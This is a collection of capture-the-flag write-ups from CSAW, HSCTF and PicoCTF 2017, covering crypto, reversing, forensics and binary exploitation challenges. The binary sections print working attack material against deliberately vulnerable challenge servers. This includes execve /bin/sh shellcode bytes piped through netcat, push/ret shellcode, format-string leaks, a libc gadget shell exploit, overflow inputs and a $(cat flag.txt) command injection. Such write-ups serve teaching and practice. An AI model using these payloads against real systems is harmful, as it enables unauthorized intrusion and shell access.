[*] Sending: 1234566614215818
[*] Sending: 1234563314148597
[*] Sending: 1234561671302773
[*] Sending: 1234566122139161
[*] Sending: 1234567235419011
[*] Sending: 1234568640017481
[*] Sending: 1234567707445171
[*] Sending: 0
[*] Sending: 0
[*] Sending: 1
[*] Sending: 1
[*] Sending: 0
[*] Sending: 1
[*] Sending: 0
[*] Sending: 0
[*] Sending: 0
[*] Sending: 0
[*] Sending: 0
[*] Sending: 0
[*] Sending: 1
[*] Sending: 0
[*] Sending: 0
[*] Sending: 0
[*] Sending: 0
[*] Sending: 0
[*] Sending: 1
[*] Sending: 1
[*] Sending: 1
[*] Sending: 0
[*] Sending: 0
[*] Sending: 1
[*] Sending: 1
[+] flag{ch3ck-exp3rian-dat3-b3for3-us3}
[*] Closed connection to misc.chal.csaw.io port 8308
Therefore, the flag is flag{ch3ck-exp3rian-dat3-b3for3-us3}
.
CSAWCTF_2017: Serial
Category: Misc Points: 50 Description:
nc misc.chal.csaw.io 4239
Write-up
This challenge is related to serial communications and the standard they follow by. It's a challenge requiring some coding and programming so my solution is also in Python.
$ ./solve.py
[+] Opening connection to misc.chal.csaw.io on port 4239: Done
flag{@n_int3rface_betw33n_data_term1nal_3quipment_and_d@t@_circuit-term1nating_3quipment}
Therefore, the flag is flag{@n_int3rface_betw33n_data_term1nal_3quipment_and_d@t@_circuit-term1nating_3quipment}
.
CSAWCTF_2017: tablEZ
Category: Reverse Points: 100 Description:
Bobby was talking about tables a bunch, so I made some table stuff. I think this is what he was talking about...
Write-up
This one was slightly tricky, we get started with the main
fuction. Our pseudocode decompiler spits out the following for main
,
int main() {
puts("Please enter the flag:");
fgets(&var_90, 0x80, *__TMC_END__);
*(int8_t *)(rbp + (strlen(&var_90) - 0x1) + 0xffffffffffffff70) = 0x0;
var_C8 = strlen(&var_90);
for (var_D0 = 0x0; var_D0 < var_C8; var_D0 = var_D0 + 0x1) {
*(int8_t *)(var_D0 + &var_90) = get_tbl_entry(sign_extend_64(*(int8_t *)(var_D0 + &var_90) & 0xff));
}
if (var_C8 != 0x25) {
puts("WRONG");
rax = 0x1;
}
else {
var_C0 = 0xb1e711f59d73b327;
if (strncmp(&var_90, &var_C0, 0x26) == 0x0) {
puts("CORRECT <3");
rax = 0x0;
}
else {
puts("WRONG");
rax = 0x1;
}
}
rsi = *0x28 ^ *0x28;
if (rsi != 0x0) {
rax = __stack_chk_fail();
}
return rax;
}
Looks like the flag has something to do with having the processed string equals to 0xb1e711f59d73b327
but that doesn't make sense, considering we need a length of 37
! This is a lesson on the reliability of pseudocode decompilers. Going to assembly view, we get the following string.
00000000000008ba movabs rax, 0xb1e711f59d73b327
00000000000008c4 movabs rdx, 0x30f4f9f9b399beb3
00000000000008ce mov qword [rbp+var_C0], rax
00000000000008d5 mov qword [rbp+var_B8], rdx
00000000000008dc movabs rax, 0xb19965237399711b
00000000000008e6 movabs rdx, 0xf9279923be111165
00000000000008f0 mov qword [rbp+var_B0], rax
00000000000008f7 mov qword [rbp+var_A8], rdx
00000000000008fe mov dword [rbp+var_A0], 0x65059923
0000000000000908 mov word [rbp+var_9C], 0xce
This computes to b1e711f59d73b32730f4f9f9b399beb3b19965237399711bf9279923be11116565059923ce
. How will we get the flag though? Well, this is actually computed through the get_tbl_entry
fuction. Essentially, in steps of two, search through the trans_tbl
table for the corresponding character and return the character above it. The trick is that because it checks from the base address while returning the address offsetted by 1, you pick the character above.
b1 b
e7 4
11 t
f5 {
9d g
73 a
b3 l
27 f
30 u
f4 k
f9 0
f9 0
b3 l
99 _
be e
b3 l
b1 b
99 _
65 3
23 r
73 a
99 _
71 s
1b p
f9 0
27 f
99 _
23 r
be e
11 t
11 t
65 3
65 3
05 m
99 _
23 r
ce }
Therefore, the flag is flag{t4ble_l00kups_ar3_b3tter_f0r_m3}
.
CSAWCTF_2017: Pilot
Category: Pwn Points: 75 Description:
Can I take your order nc pwn.chal.csaw.io 8464 16:05 Eastern: Updated binary
Write-up
This challenge is a standard buffer overflow, return to shellcode exploit, where the address is fed to you. This is made even simpler through Python.
# ./solve.py
[+] Opening connection to pwn.chal.csaw.io on port 8464: Done
[*] Switching to interactive mode
[*]Command:
$ ls
flag
pilot
$ cat flag
flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}
Therefore, the flag is flag{1nput_c00rd1nat3s_Strap_y0urse1v3s_1n_b0ys}
.
HSCTF 2017 Writeup
Nothing much important to say, I didn't do too well as I barely had time to spend on HSCTF. It coincided with my exams a little too closely and exams > ctf :c.
HSCTF_2017: Quartenary
Category: Crypto Points: 100 Description:
What is the flag? 1310122012111303121113131233130212101303120113021211130013111310122012111302121113101233121212211230123013031300120112031211023211101220122113031303121112321310121112321203121112211232131012111232131012211233123212011230123013211230121112121310120212301201123212230232131012201211121212301201121312211303032213131220132112101233121113031232123312331232121113111303121112021201130312111212123313111302 Hint: If you think you are close but it is not working, try adding a leading zero.
Write-up
We just need to convert it from base-4 to base-10 to base-16 to ASCII. We can use python for this.
$ ./solve.py
thesewordsareputheretofillspace.Thissentenceintentionallyleftblank.theflagis:whydoesnooneusebasefour
Therefore, the flag is whydoesnooneusebasefour
.
HSCTF_2017: Alice and Bob
Category: Crypto Points: 200 Description:
Keith is sitting at home minding other people's business, and tracking conversations between two of their friends, Alice and Bob. However, Alice and Bob aren't real friends of theirs, and Keith has figured out that there is a secret number that Alice and Bob know, but refuse to tell Keith. So, Keith has kept track of the brief conversation between Alice and Bob. Using this transcript, help Keith find out the number that Alice and Bob are keeping to themselves. Alice: Hey Bob! Let's use 987 as our base, and 8911991767204557841 as our prime modulus! Bob: Aren't those numbers too small? Alice: I hope not. Bob: Ok! In that case my public key is 1317032838957486192. Alice: Mine is 731665363559374475.
Write-up
This challenge was much easier solved by iterating upwards rather than by using the BSGS algorithm.
$ ./solve.py
a: 1213832
b: 1201905
K: 1715359156632385906
Therefore, the flag is 1715359156632385906
.
HSCTF_2017: Keith and Dawg 2
Category: Crypto Points: 200 Description:
=================================================================================================== NOTE- Do Keith and Dawg 1 first. =================================================================================================== The next day. Keith was walking down the street, still shaken up about the events of the previous day, when a white unmarked van driving at about 80 miles per hour drove by and stopped right in front of him. Suddenly, the door slid open and five men wearing suits jumped out, grabbed Keith, and dragged him back into the van. "Who are you?!" Keith asked. "I'm Agent Roshan Mahanth, of the NSA," one man replied. "And we know what you've been up to." "I...I don't know what you're talking about," Keith replied, but the sweat pouring out of his forehead gave him away. "We also know that Jakob Degen, or Shady J Dawg, as you call him, is your 'employer', and that you two have been very busy lately. We know about the secret files Degen has. I've been undercover as Jazz Money Roshan Cash for the past two months, but I have been unable to gain access. Now, you have two options. Your first option is to cooperate with us and help us find a way to hack Degen's security measures and recover evidence that we can use against him..." "Ok, I'll do it." "Good. You'll hear from us soon." Keith was then tossed out of the van. He got up and walked home, wondering how he could possibly get past Degen's security measures. A few days later, Keith received a mysterious phone call from an unknown number. He hesitantly picked up the phone, "Mr. Keith. We have your first assignment. Go to the intersection between Quiche Street and Keif Afenue. You will find an envelope underneath the trash can. In it, you will find a flash drive with a hash we extracted associated with Jakob Degen's account on a website he frequents. Unfortunately, we do not know his password, as only the md5 hash is stored on the database. We do know, however, that Degen's keyboard is broken and only the q, w, e, r, t, and y keys are functioning. Report back when you find his password. Jazz Money out." Keith immediately grabbed his coat and ran down Keif Afenue to the intersection with Quiche Street. Sure enough, he found an envelope with a flash drive underneath the trash can. He walked home and began work. Find the password. To be continued... hash- b81b28baa97b04cf3508394d9a58caae letters- q w e r t y
Write-up
Similar to the "Remember md5?" challenge of PACTF, I'm going to reuse old code!
Therefore, the flag is ywterqtwe
.
HSCTF_2017:
Category: Crypto Points: 100 Description:
Alice is sending a top secret polynomial, P(x), to Bob. You want to know the equation of P(x). In your attempts to intercept their message, you discover only two facts about P(x): It’s coefficients are in the set {0, 1, 2, …, 1000}. P(2017) = 49189926321482294101673925793095 The flag will be P(1).
Write-up
Create a Python to solve it for you
Therefore, the flag is 231
.
HSCTF_2017:
Category: Reversal Points: 100 Description:
Too many hashes. Help Keith get to the flag!
Write-up
Just b64decode it to hex encoding, get the md5 hash and run it against hashkiller.
$ ./solve.py
MD5 of Flag: 4f79807a7c47f697bd5f06beef955cfd
SHA1 of Flag: f4fdaef8ade8edf707858fe4294d780d69d4d6a8
Flag: TlZMN09
Therefore, the flag is TlZMN09
.
HSCTF_2017: KE1TH
Category: Reversal Points: 200 Description:
Keith recently coded a small authorization software for his/her computer to hide personal files. Unfortunately, he/she hit his head and forgot his/her password. Now he/she must reverse engineer his/her software to regain his/her password.
Write-up
It's just a small reversing challenge where they already given everything we need. IV
? Check. Key
? Check. Ciphertext
? Check.
$ ./solve.py
Flag: this_was_a_short_and_easy_problem_2B3F5AC0
Therefore, the flag is this_was_a_short_and_easy_problem_2B3F5AC0
.
HSCTF_2017: Coin Flip
Category: Algo Points: 100 Description:
Keith has been very bored with his job as an industrial couponer lately, and so he has decided to spend his time flipping coins. The results of his coin flips are in this file. Keith now wants to know how many runs of flips he found. A run is any consecutive sequence of the same flip. For example, the flips 001111101011 have three runs of length one, two runs of length two, and one run of length five. Can you help Keith count runs? The flag is the number of runs of length one, the number of runs of length two, the number of runs of length three, etc. up to the longest run in the sequence, each separated by a comma and a space.
Write-up
Just remember to count the last bit.
Therefore, the flag is 249368, 124813, 62558, 31388, 15476, 7891, 3975, 1982, 943, 486, 270, 107, 64, 33, 15, 8, 4, 1, 1, 1
.
HSCTF_2017: Ping Pong
Category: Algo Points: 200 Description:
Keith has encountered a wild Ping Pong interpreter on his hike into the woods. The interpreter will only let him complete his hike if you write a program to find fibonacci numbers! Can you help Keith? Your program must read a number n from input and then print out the nth Fibonacci number. For the purposes of this problem, the first, second, and third numbers of the Fibonacci sequence are 1, 1, 2. n will be in [1, 46], so that fib(n) will be < 2^31 - 1. Netcat to 104.131.90.29:8007.
Write-up
Not much to say other than fuck this challenge.
Python Solution Plaintext Solution
Therefore, the flag is PP_0234FB97AA342D
.
HSCTF_2017: Keith And Dawg 1
Category: Forensics Points: 100 Description:
Keith walked into the dark alley, nervously turning around to make sure he wasn't being followed by anyone. It was already his fourth day on the job, but he was still extremely paranoid about being caught by the police. Steadying his shaking hands, he opened a door, and stepped into an even darker room. He closed the door behind him. A short blond man with a distinctly German accent stepped out of the shadows and into the dim light. "You're late." Keith panicked. "S...s...sorry." "Get to work." The short man gruffly turned around and disappeared back into the shadows. Keith finally relaxed. He walked to a computer, sat down, and began another day of tedious IT work. Keith had a sneaking suspicion that the people he was working for were not the most reputable, but he needed the money so he decided to keep his head down and focus only on his job. Somewhere around noon, several hours later, Keith rubbed his eyes and sat back, relaxing for a few minutes. Keith wondered who the short blond man was. He knew his name was Shady J Dawg, and he was some sort of manager around here, but Keith didn't even know what this place was, or what the other people here did. He was only told exactly what he needed in order to complete his menial task, nothing more. He couldn't stand the boredom, and curiosity eventually got the better of him. Keith quickly looked around and made sure no one was watching, then started poking around the other files on the computer. On his first day, Degen had instructed him not to look at anything he wasn't specifically told to look at, but Keith couldn't resist his curiosity anymore. He found a folder marked "Shady J Dawg", and opened it. There were only two files inside: "k&d0.png" and "k&d0.7z". "What could these possibly be?" Keith wondered. He pulled out a flash drive and quickly copied the two files. Before he could inspect any further, a voice with a distinct German accent called out from the shadows, "What do you think you're doing?!" Keith spun around. The short blond man stepped out of the shadows looking absolutely livid. "I told you not to be too nosy, but you didn't listen." "This is very bad," Keith thought. He quickly grabbed the flash drive and ran out. J Dawg chased after him, but Keith was too fast. Keith darted out the door, back through the alley, and didn't stop running until he reached his home and locked the door behind him. Keith sat down at his computer and plugged in the flash drive. He tried to open the "k&d0.7z" file, but it appeared locked. "Hmmm," he thought. "The password must be somewhere hidden in the other file." Find the password. To be continued...
Write-up
Use Stegsolve. Seriously.
Therefore, the flag is D(oil)>D(water)
.
HSCTF_2017: Easy Stegosarus
Category: Forensics Points: 200 Description:
Keith infiltrated the scary evil organization ZORE, and had to fight a cloned stegosaurus! After killing the evil beast, he started to dissect the body for potential information. He found a usb containing two similar looking image files: one called logo.png, and one called changed.png. What secret information could be contained in these strange files?
Write-up
Just use Stegsolve -> Image Combiner -> Sub.
Therefore, the flag is sammyshouldworkmore
.
HSCTF_2017: Survey
Category: Forensics Points: 50 Description:
A quick survey worth 50 points!
Write-up
Just do the survey and get the flag.
Therefore, the flag is I love surveys, who doesn't love surveys, let's all take a survey!
.
HSCTF_2017: Basic Bucketfill
Category: Forensics Points: 100 Description:
Keith is in a contest with another colleague, to see who can find the hidden message in the picture. However, they're only allowed to use the most basic editing tools! Can you find out the secret message?
Write-up
We are given a horrible MS Paint job
If we tweak the colours a bit, we get something more legible
Therefore, the flag is HHA8
.
HSCTF_2017: Keith Shell
Category: Exploitation Points: 100 Description:
Help Keith write a shellcode to get a flag! Netcat to 104.131.90.29:8003
Write-up
We just need to craft some shellcode to jump to exploit()
of address 0x80489fb
. So something like this will be sufficient
push 0x80489fb
ret
Translated to opcodes, we get
\x68 \xfb\x89\x04\x08
\xc3
We now have a solution.
$ ./solve.py
[+] Opening connection to 104.131.90.29 on port 8003: Done
Flag: 9qCzj0cNsRuwyT6HLIz8RAuBp3NMQ1Bdwm2F2CtquuXea5X0lOWKQ4FeU5fJ
[*] Closed connection to 104.131.90.29 port 8003
Therefore, the flag is 9qCzj0cNsRuwyT6HLIz8RAuBp3NMQ1Bdwm2F2CtquuXea5X0lOWKQ4FeU5fJ
.
HSCTF_2017: Python Exploitation 2
Category: Exploitation Points: 200 Description:
It seems that Keith’s adversary has learned their lesson. This time they are sure their program is secure. Netcat to 104.131.90.29:8006
Write-up
This one, like the previous one can be done by spawning a shell.
Therefore, the flag is next one will be more than just input exploitation
.
HSCTF_2017: Python Exploitation 1
Category: Exploitation Points: 100 Description:
Seeing a non-web exploitation problem Keith prepared their binary and c knowledge, but to their surprise, it was a .py! Help Keith learn to exploit python programs. Netcat to 104.131.90.29:8005. Note- The flag can be mistaken for an error message.
Write-up
This one was meant to be simple, involving the use of Python 2s completely insecure input()
function which uses an eval(raw_input())
wrapper. We can easily hijack this by supplementing the input with the password variable like thisisthepassword
or we can take it a step further.
For this one though, I'll just be spawning a shell.
Therefore, the flag is eh nah
.
HSCTF_2017: El Clasico
Category: Exploitation Points: 100 Description:
Since you’re reading this problem, you’re doing HSCTF, so we (the problem writers) think you’re cool. Keith, however, isn’t so easily convinced. Prove to Keith that you’re cool. Netcat to 104.131.90.29:8001. (Hint) Every CTF has one of these problems.
Write-up
A simple buffer overflow challenge. Be sure to take note of the address before RET
.
$ ./solve.py
[+] Opening connection to 104.131.90.29 on port 8001: Done
[*] Switching to interactive mode
$ git status
Cool people get a shell!
elclasico
elclasico.c
flag
run
fatal: Could not change back to '/root/problems': Permission denied
$ cat flag
one_of_these_pops_up_everytiem
Therefore, the flag is one_of_these_pops_up_everytiem
.
PicoCTF_2017 Writeup
This repository serves as a writeup for PicoCTF_2017
Completed Challenges
Challenges without links are uncompleted/unattempted challenges.
- Tutorial
- Master
- Choose_150
- Forensics
- Cryptography
- Keyz_20
- Substitute_40
- Hash101_50
- computeAES_50
- computeRSA_50
- SoRandom_75
- LeakedHashes_90
- Weird RSA_90
- HashChain_90
- Broadcast_120
- smallRSA_120
- SmallSign_140
- Encrypted Shell_190
- ECC2_200
- Reverse Engineering
- Web Exploitation
- Binary Exploitation
- Bash Loop_40
- Just No_40
- Shellz_55
- Shells_70
- Guess The Number_75
- Ive Got A Secret_75
- Flagsay 1_80
- VR Gear Console_95
- Config Console_125
- Enter-The-Matrix_150
- Flagsay-2_150
- Aggregator_190
- Chat-Logger_200
- Deeper-Into-The-Matrix_200
- Contact-Helper_225
- Miscellanous
PicoCTF_2017: Config Console
Category: Binary Exploitation Points: 125 Description:
In order to configure the login messsage for all the users on the system, you've been given access to a configuration console. See if you can get a shell on shell2017.picoctf.com:27124. console Source
Hint:
You can either see where libc is or modify the execution. Is there a way to get the vulnerability to run twice so that you can do both? There's a place in libc that will give you a shell as soon as you jump to it. Try looking for execve.
Write-up
Initially, through some testings, we find out that it is a format string attackable challenge.
$ nc shell2017.picoctf.com 27124
Config action: exit %s %s %s
Exit message set!
H=???s1?H??Ώ
Through some testings, it seems that the exit
command is the only one vulnerable, so we will use that to our advantage.
[+] Opening connection to shell2017.picoctf.com on port 27124: Done
[*] printf(): 0x00007f4bfa1f6df0
[*] libc: 0x00007f4bfa18d000
[*] magic: 0x00007f4bfa263e77
[+] Please test if shell has spawned
[*] Switching to interactive mode
w>&?K$ ls
console
flag.txt
xinetd_wrapper.sh
$ cat flag.txt
5fb954bad3997c3a640d70207df00356
Therefore, the flag is 5fb954bad3997c3a640d70207df00356
.
PicoCTF_2017: Shells
Category: Binary Points: 70 Description:
How much can a couple bytes do? Use shells Source. Connect on shell2017.picoctf.com:40976.
Hint:
Read about basic shellcode You don't need a full shell (yet...), just enough to get the flag
Write-up
Before we can craft a shellcode, we need to know the address of our win()
function and loading up GDB is our best shot at it.
$ gdb shells
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from shells...(no debugging symbols found)...done.
(gdb) info address win
Symbol "win" is at 0x8048540 in a file compiled without debugging.
Simple, now we know win()
is at 0x8048540
. Let's craft a really simple push+ret
shellcode.
0: 68 40 85 04 08 push 0x8048540
5: c3 ret
Put together, this gives us \x68\x40\x85\x04\x08\xC3
. Let's try it.
$ python -c "print('\x68\x40\x85\x04\x08\xC3')" | nc shell2017.picoctf.com 40976
My mother told me to never accept things from strangers
How bad could running a couple bytes be though?
Give me 10 bytes:
cd875b6ffb5cdd3319532d52ceca71aa
Therefore, the flag is cd875b6ffb5cdd3319532d52ceca71aa
PicoCTF_2017: I've got a Secret
Category: Binary Exploitation Points: 75 Description:
Hopefully you can find the right format for my secret! Source. Connect on shell2017.picoctf.com:55189.
Hint:
This is a beginning format string attack.
Write-up
A classic format string attack.
$ nc shell2017.picoctf.com 55189
Give me something to say!
%x %x %x %x %x %x %x %x %x %x
40 f7fc7c20 8048792 1 ffffdd34 18d28c09 3 f7fc73c4 ffffdca0 0
Now tell my secret in hex! Secret: 0xf7fc73c4
As my friend says,"You get nothing! You lose! Good day, Sir!"
$ nc shell2017.picoctf.com 55189
Give me something to say!
%x %x %x %x %x %x %x %x %x %x
40 f7fc7c20 8048792 1 ffffdd34 18d28c09 3 f7fc73c4 ffffdca0 0
Now tell my secret in hex! Secret: 0x18d28c09
a18450ba7aaa8c085c522cdef6ab35ab
Wow, you got it!
Therefore, the flag is a18450ba7aaa8c085c522cdef6ab35ab
.
PicoCTF_2017: VRGearConsole
Category: Binary Exploitation Points: 95 Description:
Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/1e50bd93be07ea1bca65a1a071e18eef
Hint:
What happens if you read in more characters than the length of the username buffer? You should look at an ascii table to see what character you need to choose. Numbers are stored in little-endian format, which means that the lowest byte of the number is first. "cat file - | vrgearconsole " will keep the pipe open for commands.
Write-up
Looking at the source code, we see a gaping hole for buffer overflow.
int accessLevel = 0xff;
char username[16];
char password[32];
So, to buffer overflow this, we need to fill up username past it's limits to overwrite accessLevel. One way to do that, is by simply sending 17
characters.
$ echo "AAAAAAAAAAAAAAAA!" > ~/file
$ cat ~/file - | ./vrgearconsole
+----------------------------------------+
| |
| |
| |
| |
| Welcome to the VR gear admin console |
| |
| |
| |
| |
+----------------------------------------+
| |
| Your account is not recognized |
| |
+----------------------------------------+
Please login to continue...
Username (max 15 characters): Password (max 31 characters):
Your access level is: 0x00000021
Admin access granted!
The flag is in "flag.txt".
cat flag.txt
5a9aeea545615089851dd6a9b57a3139
Therefore, the flag is 5a9aeea545615089851dd6a9b57a3139
.
PicoCTF_2017: Guess The Number
Category: Binary Exploitation Points: 75 Description:
Just a simple number-guessing game. How hard could it be? Binary Source. Connect on shell2017.picoctf.com:57641.
Hint:
What is the program doing with your input number? strtol checks for overflow, but it does allow negative numbers...
Write-up
This challenge tests your knowledge on two's complement, bit-shifting and GDB magick. First, let's look at the source code. We really want to win()
.
void win(void) {
printf("Congratulations! Have a shell:\n");
system("/bin/sh -i");
}
GDB time!
$ gdb guess_num
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from guess_num...(no debugging symbols found)...done.
(gdb) info address win
Symbol "win" is at 0x804852b in a file compiled without debugging.
Converting 0x804852b
to hexadecimal gives us 134513963
or 1000000001001000010100101011
. We need to be able to call upon ((void (*)(void))val)();
to win()
it, so now we have to figure out how to make val
point to win()
.
val = strtol(buf, NULL, 10);
printf("You entered %d. Let's see if it was right...\n", val);
val >>= 4;
We see that val
gets checked for overflow, and then bit shifted right 4 places. So let's do the same for our pointer, by shifting left 4 places.
1000000001001000010100101011
10000000010010000101001010110000 <- add 4 0s
However, now the binary is too large to enter into the system! But wait! We have two's complement and negative numbers to help us!
10000000010010000101001010110000
-2142743888
$ nc shell2017.picoctf.com 57641
Welcome to the number guessing game!
I'm thinking of a number. Can you guess it?
Guess right and you get a shell!
Enter your number: -2142743888
You entered -2142743888. Let's see if it was right...
Congratulations! Have a shell:
/bin/sh: 0: can't access tty; job control turned off
$ ls
flag.txt
guess_num
xinetd_wrapper.sh
$ cat flag.txt
c2bda0bde530c16fff8a8530addb44f8
Therefore, the flag is c2bda0bde530c16fff8a8530addb44f8
.
PicoCTF_2017: Bash Loop
Category: Binary Exploitation Points: 40 Description:
We found a program that is hiding a flag but requires you to guess the number it is thinking of. Chances are Linux has an easy way to try all the numbers... Go to /problems/bd058e83a119c78a006543d23d9f6422 and try it out!
Hint:
Either use SSH or use the Web Shell to get onto the shell server and navigate to the correct directory. Then do a quick Google search on 'bash loops'. You may need to use grep to filter out the responses as well!
Write-up
Simple simple, just this code is sufficient!
$ for iter in {0..4096}; do /problems/bd058e83a119c78a006543d23d9f6422/bashloop $iter | grep -v "Nope. Pick another number between 0 and 4096"; done
Yay! That's the number! Here be the flag: d3aaad36e3947ceed96a916ca92d33b4
Therefore, the flag is d3aaad36e3947ceed96a916ca92d33b4
.
PicoCTF_2017: Shellz
Category: Binary Points: 55 Description:
You no longer have an easy thing to call, but you have more space. Program: shellz! Source. Connect on shell2017.picoctf.com:12562.
Hint:
There is a bunch of preexisting shellcode already out there!
Write-up
The biggest problem with this challenge is the limited amount of shellcodes that would actually work here. It probably took me like 15 tries before I got the correct shellcode. So first, prepare the payload.
python -c "print('\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80')" > payload
Then, use the payload like this
cat payload - | nc shell2017.picoctf.com 12562
My mother told me to never accept things from strangers
How bad could running a couple bytes be though?
Give me 40 bytes:
ls
flag.txt
shellz
shellz_no_aslr
xinetd_wrapper.sh
cat flag.txt
a15898b0a97abc19164f240407d6c51b
Therefore, the flag is a15898b0a97abc19164f240407d6c51b
.
PicoCTF_2017: Just No
Category: Binary Exploitation Points: 40 Description:
A program at /problems/7e8b456c98db60be9a33339ab4509fca has access to a flag but refuses to share it. Can you convince it otherwise?
Hint:
Check out the difference between relative and absolute paths and see if you can figure out how to use them to solve this challenge. Could you possibly spoof another auth file it looks at instead...?
Write-up
Hmm, let's get the flag.
$ /problems/7e8b456c98db60be9a33339ab4509fca/justno
auth file says no. So no. Just... no.
Damn it. Let's take a look at the source code. Wait.
FILE* authf = fopen("../../problems/7e8b456c98db60be9a33339ab4509fca/auth","r")
Haha! Relative paths! Now we can simply spoof a directory structure and make a fake auth file.
$ cd ~
$ mkdir problems
$ mkdir problems/7e8b456c98db60be9a33339ab4509fca
$ cd problems/7e8b456c98db60be9a33339ab4509fca
$ echo "yes" > auth
$ /problems/7e8b456c98db60be9a33339ab4509fca/justno
Oh. Well the auth file doesn't say no anymore so... Here's the flag: ddf649b13d560409d2649dc06f2a43ee
Therefore, the flag is ddf649b13d560409d2649dc06f2a43ee
.
PicoCTF_2017: Flagsay 1
Category: Binary Points: 80 Description:
I heard you like flags, so now you can make your own! Exhilarating! Use flagsay-1! Source. Connect on shell2017.picoctf.com:51865.
Hint:
System will run exactly what the program gives it
Write-up
Another simple 1, looking at the source code reveals that whatever is inputted by the user is then echo
by system.
char commandBase[] = "/bin/echo \"%s\"\n";
However, input is unescaped, so we can pass on a shell command like
$ nc shell2017.picoctf.com 51865
$(ls)
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//flagsay-1
flagsay-1_no_aslr
flag.txt
xinetd_wrapper.sh /
// /
// /
// /
// /
// /
//___________________________________/
//
//
//
//
//
//
Then, we can do something like this
$ nc shell2017.picoctf.com 51865
$(cat flag.txt)
_
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//2ab2050bf32e84975a10d774a919e1d0 /
// /
// /
// /
// /
// /
//___________________________________/
//
//
//
//
//
//
Therefore, the flag is 2ab2050bf32e84975a10d774a919e1d0
.
PicoCTF_2017: Tutorial 2
Category: Tutorial Points: 0 Description:
Robin handed me this the other day. Maybe it will help me find the answer?
Hint:
There are a number of solvers on the internet that can help!
Write-up
A simple ROT-13 cipher,
Lb, fb unir lbh orra cynlvat gung arj Zrfbcrgf tnzr? Gubfr arj Zrtnybalpuvqnr naq Oenqlcbqvqnr gurl nqqrq ner cerggl pbby. Npghnyyl, V jbhyq tb nf sne nf fnlvat gung vg vf abj zl yvsr'f qrnerfg nzovgvba gb bognva n "Vasyngnoyr Fybgu Zbafgre"!
becomes
Yo, so have you been playing that new Mesopets game? Those new Megalonychidae and Bradypodidae they added are pretty cool. Actually, I would go as far as saying that it is now my life's dearest ambition to obtain a "Inflatable Sloth Monster"!
after rotating each character 13 times.
Therefore, the flag is Inflatable Sloth Monster
.
PicoCTF_2017: Tutorial 1
Category: Tutorial Points: 0 Description:
How can you figure out Robin Morris's middle name? Thankfully you have a list you can check!
Hint:
Please don't search by hand!
Write-up
A very simple grep
.
$ grep -E "^Robin (.*) Morris$" contractors.txt
Robin Almay Morris
Therefore, the flag is, Almay
.
PicoCTF_2017: Tutorial 3
Category: Tutorial Points: 0 Description:
Robin handed me some color codes the other day. They don't look like anything to me though. Can you help me find her favorite shade of red?
Hint:
Once again, there are tools on the interwebz that can help! (There's a clear theme here, from the easiest pico problems, to the hardest ones in other CTFs, search engines are your friend!)
Write-up
Unfortunately, making an automated tool would be more troublesome. We can use deductive guessing here though, since we know colour codes are RGB. Therefore, we are looking for a value there's greater in the first two hexadecimal digits than the rest.
7A3B00
6000C7
67C700
42FFFC
C70002 <- this seems like the most likely candidate, and it's red too!
0003C7
007A78
Therefore, the flag is, C70002
.
PicoCTF_2017: HashChain
Category: Cryptography Points: 90 Description:
We found a service hiding a flag! It seems to be using some kind of MD5 Hash Chain authentication to identify who is allowed to see the flag. Maybe there is a flaw you can exploit? hcexample.py has some example code on how to calculate iterations of the MD5 hash chain. Connect to it at shell2017.picoctf.com:58801!
Hint:
Connect from the shell with nc. Read up on how Hash Chains work and try to identify what could make this cryptosystem weak.
Write-up
Another simple one, exploiting vulnerabilities of predictable seeds. In this case, believe it or not, the user ID is the seed! So, we create a solver.py that will use the user id and generate hashes for us.
$ nc shell2017.picoctf.com 58801
*******************************************
*** FlagKeeper 1.1 ***
* now with HASHCHAIN AUTHENTICATION! XD *
*******************************************
Would you like to register(r) or get flag(f)?
r/f?
f
This flag only for user 6208
Please authenticate as user 6208
a9afc1eebbc4c86a23cc8d81c051b0cb
Next token?
$ ./solver.py 6208 a9afc1eebbc4c86a23cc8d81c051b0cb
10fc2240d4916b2e77469cf1e310d22c
21f044c80db74b5fe6c1faea4593512e
785e2cffc39f5753eeb2dc33dedd546e
5fe144923873f76361753cf7e9773816
14fc0a59aca14517eb2ef5521e6d0d8f
d1c2a8cd294372365f9b173a025c1356
d8cff89e75d3cbbdb49c8c35b9fdc65b
b441b8decd5049a69fb7c48921ff59bb
4a99caa88953724ba0396a3098da8a21
017e464d609a4f580a5e409a5185ed1f
fa1390f653c274e8854654e264a703fb
832eb443801ea8650935cd818ca2e72d
763bcb5d8858172c6a83a19ee3bad41e
6ccff5926c6ee56eeab799c59a14fc5b
3ccdf2678dc619572864232848ebc61b
8b9697ab88e52b678ecc6f02d3ff7d3f
4d7ed0551984b59bbf1c0ebec93b57cb
b2f7cd6698baf204e7f2ceecbdaf8d60
bc50f9a7eed1c52f6221d8fa0b594fd9
9e4b40d0d7f67b3f79ee5fd820b2efab
74865bfe0fd00a6895e651a5b031faf3
a1f6ef4844eaa64579a38deadb06b700
046aff6dd89aec2d411056efc4641f42
87ce9a8edd77ade35fd903ad5cc161be
75a9de906c65374f87313cda61fa1566
1006016b4424e74dde5c0e42ce86371a
